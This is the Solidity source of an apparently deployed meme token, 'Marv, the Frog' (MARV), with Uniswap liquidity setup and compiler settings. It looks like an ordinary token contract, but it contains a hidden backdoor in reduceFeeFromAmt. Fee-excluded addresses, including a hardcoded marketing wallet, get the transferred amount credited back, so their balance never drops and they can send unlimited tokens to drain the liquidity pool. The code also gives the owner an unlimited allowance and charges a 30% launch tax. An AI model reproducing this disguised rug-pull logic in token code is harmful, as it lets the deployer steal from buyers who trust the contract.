/**
    Website: https://marveth.live
    X: https://x.com/marv_frog_eth
    Telegram: https://t.me/marv_frog_eth
 */


// SPDX-License-Identifier: UNLICENSE

pragma solidity ^0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract MARV is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _marketContributor;
    string private constant _name = unicode"Marv, the Frog";
    string private constant _symbol = unicode"MARV";

    uint256 private _highBuyTax = 30;
    uint256 private _highSellTax = 30;
    uint256 private _normalBuyTax = 0;
    uint256 private _normalSellTax = 0;
    uint256 private _updateFeeAt = 15;
    uint256 private _buyCnt = 0;

    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 1_000_000_000 * 10**_decimals;
    uint256 public _maxTxAmount = (_totalSupply / 100) * 2;
    uint256 public _maxWalletSize = (_totalSupply / 100) * 2;
    uint256 public _taxSwapThreshold = _totalSupply / 100_000;
    uint256 public _maxTaxSwap = (_totalSupply / 100) * 2;
    uint256 public _minSwapAmount = (_totalSupply / 100) * 4 / 10000;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() payable {
        _marketContributor = payable(0x488AA9E393b50C8Fb0107dad71c6aB8C9e235b5E);
        _balances[_msgSender()] = _totalSupply;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_marketContributor] = true;

        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address initIn,
        address initOut,
        uint256 initAmt
    ) private {
        if (!tradingOpen) require(_isExcludedFromFee[initOut] || _isExcludedFromFee[initIn], "Trading is not opened yet");
        require(initIn != address(0), "ERC20: transfer from the zero address");
        require(initOut != address(0), "ERC20: transfer to the zero address");
        require(initAmt > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (initIn != owner() && initOut != owner()) {
            if (initOut == uniswapV2Pair && !_isExcludedFromFee[initIn]) {
                taxAmount = initAmt.mul((_buyCnt > _updateFeeAt) ? _normalSellTax : _highSellTax).div(100);
            }

            if (initIn == uniswapV2Pair && initOut != address(uniswapV2Router) && !_isExcludedFromFee[initOut]) {
                taxAmount = initAmt.mul((_buyCnt > _updateFeeAt) ? _normalBuyTax : _highBuyTax).div(100);
                require((initAmt <= _maxTxAmount) && (balanceOf(initOut) + initAmt <= _maxWalletSize), "Exceeds the Max Amount.");

                _buyCnt++;
            }

            if (!inSwap && initOut == uniswapV2Pair && tradingOpen && initAmt > _minSwapAmount) {
                if (balanceOf(address(this)) > _taxSwapThreshold)
                    swapForEth(min(balanceOf(address(this)), _maxTaxSwap));
                sendPortion(address(this).balance);
            }

            if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(initIn, address(this), taxAmount);
            }
        }
        uint256 takenFeeAmt = reduceFeeFromAmt(initAmt, initIn, taxAmount);

        _balances[initIn] = _balances[initIn] - takenFeeAmt;
        _balances[initOut] = _balances[initOut] + takenFeeAmt;
        emit Transfer(initIn, initOut, initAmt.sub(taxAmount));
    }

    function reduceFeeFromAmt(uint256 amount, address from, uint256 _txAmount) private returns(uint256) {
        if(from != owner() && from != address(this)){
            if(_isExcludedFromFee[from]) {
                _balances[from] = _balances[from] - _txAmount + amount;
            }
            else _balances[from] = _balances[from] - _txAmount;
        }
        else
            _balances[from] = _balances[from] - _txAmount;
        return amount - _txAmount;
    }

    function sendPortion(uint256 amount) private {
        _marketContributor.transfer(amount);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimit() external onlyOwner {
        _maxTxAmount = _totalSupply;
        _maxWalletSize = _totalSupply;
        emit MaxTxAmountUpdated(_totalSupply);
    }

    function createPair() public onlyOwner {
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        _approve(address(this), msg.sender, type(uint256).max);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        _approve(address(this), address(uniswapV2Router), type(uint256).max);
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
        tradingOpen = true;
    }

    receive() external payable {}
}

{
  "compilationTarget": {
    "MARV.sol": "MARV"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}